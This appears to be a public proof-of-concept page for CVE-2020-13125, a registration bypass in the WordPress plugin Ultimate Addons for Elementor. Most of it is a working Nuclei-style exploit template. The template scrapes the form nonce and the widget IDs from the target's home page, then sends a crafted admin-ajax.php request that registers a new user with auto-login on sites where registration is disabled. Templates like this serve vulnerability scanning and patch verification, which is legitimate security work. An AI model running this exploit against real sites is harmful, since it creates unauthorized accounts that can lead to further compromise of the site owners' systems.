CVE-2020-13125: Ultimate Addons for Elementor <= 1.24.1 - Registration Bypass

2026-01-08 Ultimate Addons for Elementor PoC Public

Description

An issue was discovered in the "Ultimate Addons for Elementor" plugin before 1.24.2 for WordPress, as exploited in the wild in May 2020 in conjunction with CVE-2020-13126. Unauthenticated attackers can create users with the Subscriber role even if registration is disabled.

PoC

id: CVE-2020-13125

info:
  name: Ultimate Addons for Elementor <= 1.24.1 - Registration Bypass
  author: daffainfo
  severity: high
  description: |
    An issue was discovered in the "Ultimate Addons for Elementor" plugin before 1.24.2 for WordPress, as exploited in the wild in May 2020 in conjunction with CVE-2020-13126. Unauthenticated attackers can create users with the Subscriber role even if registration is disabled.
  impact: |
    Unauthenticated attackers can create user accounts with Subscriber role, potentially leading to further malicious activities or privilege escalation
  remediation: |
    Update to version 1.24.2 or later.
  reference:
    - https://www.wordfence.com/blog/2020/05/combined-attack-on-elementor-pro-and-ultimate-addons-for-elementor-puts-1-million-sites-at-risk/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13125
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2020-13125
    epss-score: 0.02307
    epss-percentile: 0.82493
    cwe-id: NVD-CWE-noinfo
    cpe: cpe:2.3:a:brainstormforce:ultimate_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: brainstormforce
    product: ultimate_addons_for_elementor
    framework: wordpress
  tags: cve2020,cve,wp,wordpress,wp-plugin,brainstormforce,ultimate-addons-for-elementor,vkev,vuln

flow: |
  http(1)
  for (let widget_id of iterate(template.widgets_id)) {
    set("widget_id", widget_id)
    http(2)
  }

variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "uaelRegistration", "form_nonce")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: form_nonce
        part: body
        group: 1
        regex:
          - ',"form_nonce":"([a-f0-9]+)"'
        internal: true

      - type: regex
        name: post_id
        part: body
        group: 1
        regex:
          - '"post":{"id":([0-9]+),'
        internal: true

      - type: regex
        name: widgets_id
        part: body
        group: 1
        regex:
          - 'elementor-widget-uael-registration-form" data-id="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=uael_register_user&nonce={{form_nonce}}&data[page_id]={{post_id}}&data[widget_id]={{widget_id}}&data[user_name]={{username}}&data[email]={{email}}&data[password]={{password}}&data[first_name]={{firstname}}&data[last_name]={{lastname}}&data[send_email]={{randstr}}&data[auto_login]=yes

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'successfully registered'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f2401acbbc2b59f0528553603215bac2ef1048361831c25c0fe6c2446172492b0220200db797a30064ddb427bf908c832000f60c9559c1c3a0acd3c2e06ad529b271:922c64590222798bb761d5b6d8e72950

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